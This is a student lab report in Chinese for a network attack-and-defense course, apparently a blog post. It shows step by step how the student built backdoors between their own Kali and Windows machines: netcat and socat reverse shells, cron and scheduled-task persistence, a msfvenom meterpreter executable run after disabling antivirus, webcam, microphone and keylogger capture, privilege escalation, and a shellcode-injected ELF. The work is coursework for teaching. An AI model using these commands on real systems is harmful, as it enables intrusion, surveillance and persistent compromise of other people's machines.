20212308 2023-2024-2 《网络与系统攻防技术》实验二实验报告

20212308 2023-2024-2 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.1 实践目标

  • (1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
    PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
  • (2)使用socat获取主机操作Shell, 任务计划启动
  • (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • (5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.2 问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

答:
下载电子邮件附件、下载来源不可靠的文件、访问受感染的网站或社交媒体链接

(2)例举你知道的后门如何启动起来(win及linux)的方式?

答:
在Windows系统中,后门启动方式有:利用windows启动项启动后门、利用windows服务启动后门、利用定时任务启动后门等;
在Linux系统中,后门的启动方式可能包括:利用cron或at等定时任务工具启动后门、利用自启动脚本启动后门、利用利用SSH隧道启动后门、利用反弹Shell启动后门等。

(3)Meterpreter有哪些给你印象深刻的功能?

答:
利用meterpreter做后渗透攻击,如打开shell、捕捉屏幕、录音、获取摄像头信息等让我印象深刻,我也实现了在小说和电影中看到的黑客技术。

(4)如何发现自己有系统有没有被安装后门?

答:
①可以查看任务管理器,检查是否有可疑进程或程序;
②可以使用命令行工具,输入netstat -ano来查看是否有可疑IP在进行外网链接;
③可以检查系统日志的系统和安全部分,检查是否有服务文件名与可疑程序相关;
④使用防病毒软件、防火墙、漏洞扫描工具等,实时维护系统。

2.实验过程

2.1使用netcat获取主机操作Shell,cron启动某项任务

(1)首先要查看虚拟机和主机的ip。
请添加图片描述(2)使用nc/ncat/netcat进行连接。
此时Windows是攻击者,Kali是被攻击者。因此win端设置TCP监听端口,等待连接;kali主动连接win的ip和特定端口,并执行启动shell的任务,如下所示。

ncat -lp 2308
# Windows运行的命令。运行ncat程序(注意:需要cmd在其对应的目录下!!!ncat是nmap的一个组件)。-lp是-l 和 -p的合并命令,l表示listen,“监听”;p表示port,指定端口。
nc 172.30.2.198 2308 -e /bin/sh
# Kali运行的命令。nc即netcat,后面的参数是要连接的ip和port,-e是指定连接后运行的程序,本例中就是shell。

请添加图片描述上图中,windows成功获得了kali的shell。

(3)windows中通过设置cron使得kali启动定时任务。

cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程。
开始前要确定kali的cron进程服务开启(通常开机后就会自启动,但还是检查一下)。
请添加图片描述
注意,windows不能直接使用crontab -e远程编辑,需要特殊设置,此处用其他方法编辑。

请添加图片描述
我设置的定时任务是一定时间中将我的学号(20212308)写入文件中。

echo "* * * * * echo "20212308" >> /home/wangxiance/Desktop/20212308_shiyan2.txt" > /var/spool/cron/crontabs/root
# * * * * *  是 cron 的时间表达式,表示每分钟都执行一次后面的命令。
# 被 cron 执行的命令是echo "20212308" >> /home/wangxiance/Desktop/20212308_shiyan2.txt,即将字符串追加到文件中
# 将刚刚的命令用echo重定向到用户的crontab文件中

关于crontab命令的详细解析可以参考这篇博客:https://blog.csdn.net/qq_32923745/article/details/78286385

请添加图片描述上图中,cron启动定时任务成功。

2.2使用socat获取主机操作Shell, 任务计划启动

2.2的整体思路是在windows中设置一个任务计划,内容是启动socat,kali利用自动启动的socat和win连接并获取shell。

(1)先打开windows的“计算机管理”。

请添加图片描述

(2)在“任务计划程序”中创建基本任务
名称和描述根据自己的需要填写。
请添加图片描述

(3)根据需要设置触发器。
我设置的是计算机启动时,也就是说每次开机后都会自动启动该任务。
请添加图片描述

(4)根据需要设置操作。
我设置的是启动程序。
请添加图片描述
继续设置启动程序,指定程序为socat.exe,并添加参数。

socat.exe tcp-listen:2308 exec:cmd.exe,pty,stderr
# 这是我添加的参数,其实就是一个socat的命令,其含义如下
# 调用socat工具,指示其在TCP上监听指定端口的连接
# 当有连接到达时,执行 cmd.exe(Windows 命令提示符)
# pty 创建一个伪终端,使远程用户能够看到一个交互式的命令提示符
# stderr 将 cmd.exe 的标准错误输出(stderr)也发送到连接

请添加图片描述
(5)点击完成。
完事具备。再确认一下该任务处于正在运行的状态(与前面的触发器设置有关,也可以不管触发器,直接强制开启这个任务)。

(6)Kali使用socat工具开启监听,与windows连接后,即可获取windows的shell。

socat - tcp:172.30.2.198:2308
# kali中输入的命令,ip和端口是windows(被攻击者)的

请添加图片描述
成功!

上述我是按照windows先建立任务计划,再用socat连接任务计划,获取shell。
也可以用socat先建立连接,kali进入到windows的shell之后,使用命令给windows设置一个任务计划。windows系统中,可通过命令行创建任务计划——schtasks 命令,语法如下。

schtasks/create /tn TaskName /tr TaskRun /sc schedule [/mo modifier ]
[/d day][/m month[,month...][/i IdleTime][/st StartTime]
[/sd StartDate][/ed EndDate][/scomputer[/u [domain\]user /p password]]
[/ru {[Domain\]User|"System"} [/rp Password]]

详细内容可参考此博客:https://blog.csdn.net/d1240673769/article/details/121087720

2.3使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell()

(1)在Kali(攻击者)上使用msf生成可执行文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.2.53 LPORT=2308 -f exe > backdoor_20212308wxc.exe
# 调用 Metasploit Framework 中的 msfvenom 工具
# -p是指定 payload。这个 payload 是一个 Windows 平台的 Meterpreter payload,它会与指定的主机建立反向 TCP 连接。Meterpreter 是 Metasploit Framework 的一个功能强大的 Meterpreter 会话接口。
# LHOST是本地主机ip,LPORT是本地主机端口,在本实验中是windows的反弹回连地址和端口
# -f exe 指定输出格式为可执行文件(exe)
# > 将可执行文件重定向成后面的文件名

请添加图片描述

(2)利用ncat将Kali生成的可执行文件传送到windows。

⭐!注意,如果在windows中的存放位置需要管理员权限,则要用管理员身份打开命令行。

例如,我的windows主机的D盘中的文件,普通用户只能读,只有管理员才可以对D盘执行“写”操作(创建、删除、修改)。所以我用普通用户身份进入cmd执行此环节的命令,会报出“拒绝访问”的错误。

先使用管理员身份进入cmd。
请添加图片描述

在windows中开启ncat监听,等待接收文件;在Kali中用nc连接windows的ip和端口,传输用msf生成的可执行文件(后门)。(相关命令在前面已经解释过了,不再赘述)

请添加图片描述
可以看见文件传过去了!

(3)关闭防病毒保护。

在进入msf控制台进行配置并监听之前,必须要关闭系统和软件的防病毒功能,否则后门程序无法启动,自然也无法完成反弹回连。

请添加图片描述
请添加图片描述

软件的防病毒保护关闭比较简单,系统的防病毒关闭会根据系统的不同有不同的方式,此处我的系统版本是Windows11家庭版。下面的步骤是win11家庭版的系统防病毒保护关闭步骤。

查看自己机器的系统版本。
请添加图片描述

找到windows安全中心,在病毒和威胁防护中可以看见后门程序运行被拒绝的记录,说明就是因为系统防病毒保护导致运行失败。
请添加图片描述

在“病毒和威胁防护”页面,找到“病毒和威胁防护设置”,修改设置,关闭实时保护即可。
请添加图片描述

(4)Kali通过msf获取Windows主机shell

msfconsole
# kali进入msf控制台(多次进入后发现欢迎图形是随机的)

请添加图片描述

Kali配置msf并监听。

use exploit/multi/handler 
# 设置一个多用途的监听器(handler),该监听器可以接收来自多个不同payload的连接

set payload windows/meterpreter/reverse_tcp
# 设置了 payload 为 Windows Meterpreter 反向 TCP

set LHOST 172.30.2.53
# 设置本地主机ip(Kali的ip),与前面生成可执行文件的相同

set LPORT 2308
# 设置本地主机的端口号(Kali的port)

exploit
# 触发

windows运行后门程序,即可反弹回连攻击者,Kali成功获取Windows的shell。

请添加图片描述

2.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

record_mic
# 音频获取

screenshot
# 主机显示获取

webcam_snap
# 摄像头获取

keyscan_start
# 开启击键记录获取


keyscan_dump
# 结束击键记录获取并输出获取的结果

请添加图片描述

主机显示获取截图文件如下:

请添加图片描述

请添加图片描述
摄像头获取的图片文件如下:

请添加图片描述

请添加图片描述

接下来尝试提权。
请添加图片描述提权失败。没找到原因。

第二天重新做了一遍,又尝试了一次,提权成功。
请添加图片描述请添加图片描述
成功!

2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

此部分只需要kali中完成。
(1)使用msf生成shellcode,注入pwn1中。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.30.2.53 LPORT=2308 -x /home/wangxiance/Desktop/pwn1 -f elf > pwn1_20212308wxc_shiyan2
# 调用 Metasploit Framework 的 msfvenom 工具
# 指定 payload ,它将尝试与攻击者指定的主机建立反向 TCP 连接
# 设置本地主机的ip和port(Kali的)
# 使用 -x 选项指定一个现有的可执行文件 pwn1 作为模板
# -f elf指定输出格式为 ELF(Linux中的可执行文件,与windows中的PE文件对应)
# 将生成的 ELF 文件重定向并保存为 pwn1_20212308wxc_shiyan2

msfconsole
# 开启msf控制台

请添加图片描述

(2)配置msf。
具体介绍前面说过了。
请添加图片描述

(3)实施攻击
一个终端加权运行注入shellcode后的文件;另一个终端触发msf,监听,反弹连接获取shell。
请添加图片描述
成功!

3.问题及解决方案

3.1 问题1:历史文件损坏

请添加图片描述

问题1解决方案如下图所示
请添加图片描述上述解决方案参考博客:https://blog.csdn.net/qq_25623355/article/details/134578585

3.2 问题2:windows使用ncat接收Kali传送的文件时,显示拒绝访问,进而导致Kali连接超时

请添加图片描述
请添加图片描述

问题2解决方案:从上图可以看出ncat程序监听没问题,可以正常运行,那问题应该是出在后面的文件上了。回忆此前我的windows使用经历,每次在D盘创建、删除(修改)文件时,都会被系统弹窗需要管理员权限,并询问是否赋予权限执行此操作,因此我猜测可能时因为我用普通用户身份登录cmd,无法创建文件,所以拒绝访问。

请添加图片描述

于是我用管理员身份登录cmd。
请添加图片描述

再次尝试ncat接收文件。
请添加图片描述成功!

3.3 问题3:windows的防病毒关闭问题

请添加图片描述不关防病毒,后门文件无法运行。
查找资料,需要设置本地组策略编辑器,但是我的系统没有它。
请添加图片描述

于是我最初想配置一个本地组策略编辑器。
参考博客1:https://zhuanlan.zhihu.com/p/212078197
参考博客2:https://blog.csdn.net/COCO56/article/details/128613164

请添加图片描述请添加图片描述

请添加图片描述

请添加图片描述

请添加图片描述

请添加图片描述

请添加图片描述

请添加图片描述

但是!!!!!!
虽然上述操作看似完美(实际上也是查找了诸多资料),但并没有用!!!!!!!
后门还是被拦,所以上面的本地组策略编辑器为什么没起作用至今不清楚。
真正起作用的win系统防护在Windows安全中心,把它关了就行。

请添加图片描述

3.4 问题4:触发msf后,win可以运行后门文件,但是始终反弹连接不上

请添加图片描述

问题4解决方案:我重新生成了一个新的后门文件,重新做了一遍实验,连接上了。将前后两个文件做比较,发现如下。
请添加图片描述

请添加图片描述

4.学习感悟、思考等

实验让人又爱又恨:爱是因为网上可以搜索到的学习资料很多、老师录制了参考视频,降低了实验难度;恨是因为即便如此,想要顺利运行命令达到实验的效果并弄懂其背后的原理,仍要花费大量时间,本次实验我同样做了四五天才悉数完成。
本次实验让我体会了一把当黑客的快感,同时也意识到了原来网络攻击是这么触手可及。很可能点击了一个未知的可执行文件,就会对信息安全造成巨大的威胁,不容小觑。
实验三已经发布了,继续前行吧!

参考资料

https://gitee.com/wildlinux/NetSec/attach_files
其余参考资料已在文中给出。

  • 31
    点赞
  • 43
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值